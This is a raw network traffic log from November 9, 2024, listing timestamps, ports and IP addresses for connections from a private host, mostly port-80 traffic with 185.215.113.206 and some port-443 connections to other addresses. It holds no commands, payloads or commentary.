Nov 9, 2024 22:09:50.612832069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.612878084 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.612878084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.612889051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.612920046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.612968922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.612984896 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613010883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613012075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613022089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613034964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613043070 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613065004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613066912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613078117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613105059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613115072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613117933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613130093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613131046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613156080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613161087 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613168955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613179922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613183022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613214970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613225937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613240004 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613260031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613272905 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613279104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613291025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613301992 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613303900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613321066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613331079 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613339901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613343954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613358021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613359928 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613375902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613383055 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613409996 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613426924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613439083 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613439083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613497972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613507986 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613521099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613531113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613550901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613559008 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613571882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613571882 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613598108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613605976 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613611937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613622904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613625050 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613634109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613643885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613672972 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613702059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613743067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613755941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613769054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613796949 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613837004 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613857031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613877058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613888025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613926888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613928080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613939047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613948107 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613955975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.613985062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.613995075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614010096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614012957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614033937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614042044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614053965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614063025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614064932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614082098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614103079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614125967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614136934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614165068 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614167929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614181042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614187002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614195108 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614197969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614223957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614254951 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614382029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614398003 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614423037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614434958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614439964 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614447117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614471912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614474058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614487886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614500999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614501953 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614538908 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614578962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614590883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614603043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614625931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614636898 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614638090 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614650011 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614660025 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614661932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614695072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614703894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614715099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614716053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614727974 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614751101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614757061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614768982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614775896 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614780903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614809036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614820957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614842892 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614855051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614866972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614881992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614897013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614907026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614907980 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.614929914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614945889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614955902 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614967108 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614985943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.614990950 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.614996910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615010977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615011930 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615026951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615039110 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615052938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615081072 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615092993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615104914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615115881 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615142107 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615164042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615176916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615190029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615200996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615215063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615235090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615242004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615252972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615262985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615271091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615282059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615286112 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615293980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615323067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615329981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615340948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615350962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615361929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615382910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615384102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615412951 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615413904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615442991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615447044 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615461111 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615494013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.615513086 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615525007 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615535975 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.615583897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.616028070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.616077900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.616106987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.616117954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.616127968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.616131067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.616147995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.616182089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.618455887 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.618470907 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.619571924 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.619642019 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.620151997 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.620214939 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.620341063 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.620349884 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.620407104 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.620443106 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.665016890 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.713973045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.858220100 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.858247995 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.858334064 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.858355045 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.859344006 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.859359980 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.859409094 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.859498024 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.859525919 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.859586954 CET	49933	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.861871004 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.862519979 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.862688065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.862755060 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.862831116 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.864195108 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.864794016 CET	49938	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.864811897 CET	443	49938	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.867121935 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.867135048 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.867604971 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.867609024 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.869474888 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.869487047 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.869894981 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.871484041 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.871578932 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.902714014 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.902745962 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.902849913 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.903172970 CET	49946	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.903189898 CET	443	49946	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.910906076 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.910943985 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.910998106 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.911247015 CET	49947	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:50.911257982 CET	443	49947	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.912218094 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.990462065 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.990917921 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.990930080 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.991426945 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.991431952 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.992599964 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.992914915 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.992932081 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.993294001 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.993309975 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996109009 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996129036 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996160984 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996186972 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.996366024 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.996371031 CET	443	49942	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996496916 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.996498108 CET	49939	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.996509075 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996516943 CET	443	49939	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.996759892 CET	49942	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.996777058 CET	443	49942	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.997237921 CET	49942	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.997243881 CET	443	49942	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.999706030 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.999739885 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.999886990 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.001125097 CET	49948	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.001137972 CET	443	49948	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.038657904 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.038973093 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.038985014 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.040168047 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.040246010 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.040724039 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.040787935 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.041136026 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.041143894 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.041184902 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.041215897 CET	443	49940	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:51.081593990 CET	49940	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:51.121718884 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.121777058 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.121853113 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.122176886 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.122194052 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.122219086 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.122226000 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.123671055 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.123733044 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.123883963 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.126867056 CET	49941	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.126878977 CET	443	49941	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.130316019 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.130352974 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.130441904 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.131043911 CET	49949	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:51.131058931 CET	443	49949	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.131630898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.131675959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.131685972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.131686926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.131716967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.131738901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132179022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132190943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132201910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132225037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132236004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132249117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132249117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132261992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132275105 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132289886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132313967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132397890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132410049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132421017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132432938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132446051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132452011 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132458925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132483959 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132488966 CET	443	49945	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:51.132494926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132528067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132541895 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132566929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132576942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132586002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132592916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132597923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132610083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132616043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132622957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132628918 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:51.132635117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:51.132647991 CET	80	49813	185.215.113.206	192.168.2.5
